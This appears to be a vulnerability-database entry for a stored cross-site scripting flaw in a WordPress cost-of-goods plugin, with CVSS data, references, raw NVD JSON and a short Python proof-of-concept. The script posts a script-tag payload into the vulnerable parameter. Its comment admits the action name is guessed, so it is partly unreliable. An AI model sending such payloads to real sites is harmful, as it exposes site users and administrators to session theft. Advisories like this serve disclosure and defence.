CVE-2026-7613

Description

The Cost of Goods by PixelYourSite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'csvdata[0][cost_of_goods_value]' parameter in versions up to, and including, 1.2.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cost of Goods by PixelYourSite <= 1.2.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with actual endpoint

# Malicious payload to demonstrate XSS
# This script will pop up an alert box when an admin views the data
xss_payload = '"><script>alert(document.cookie);</script>'

# Exploit data targeting the vulnerable parameter
exploit_data = {
    "action": "pycsv_import_data", # Hypothetical action name based on plugin structure
    "csvdata[0][cost_of_goods_value]": xss_payload,
    "csvdata[0][product_id]": "1"
}

try:
    print("[*] Attempting to send malicious payload...")
    response = requests.post(target_url, data=exploit_data)
    
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check the plugin's cost of goods list page to verify execution.")
    else:
        print(f"[-] Request failed. Status code: {response.status_code}")
        print(response.text)
        
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7613
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7613
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7613/
[4] VulDB https://vuldb.com/cve/CVE-2026-7613
[5] https://www.pixelyoursite.com/plugins/woocommerce-cost-of-goods
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/6e8646f0-8bd1-4cfd-85bb-86a054ab297f?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7613", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:29.163", "lastModified": "2026-05-20T17:33:05.830", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cost of Goods by PixelYourSite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'csvdata[0][cost_of_goods_value]' parameter in versions up to, and including, 1.2.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.pixelyoursite.com/plugins/woocommerce-cost-of-goods", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e8646f0-8bd1-4cfd-85bb-86a054ab297f?source=cve", "source": "[email protected]"}]}}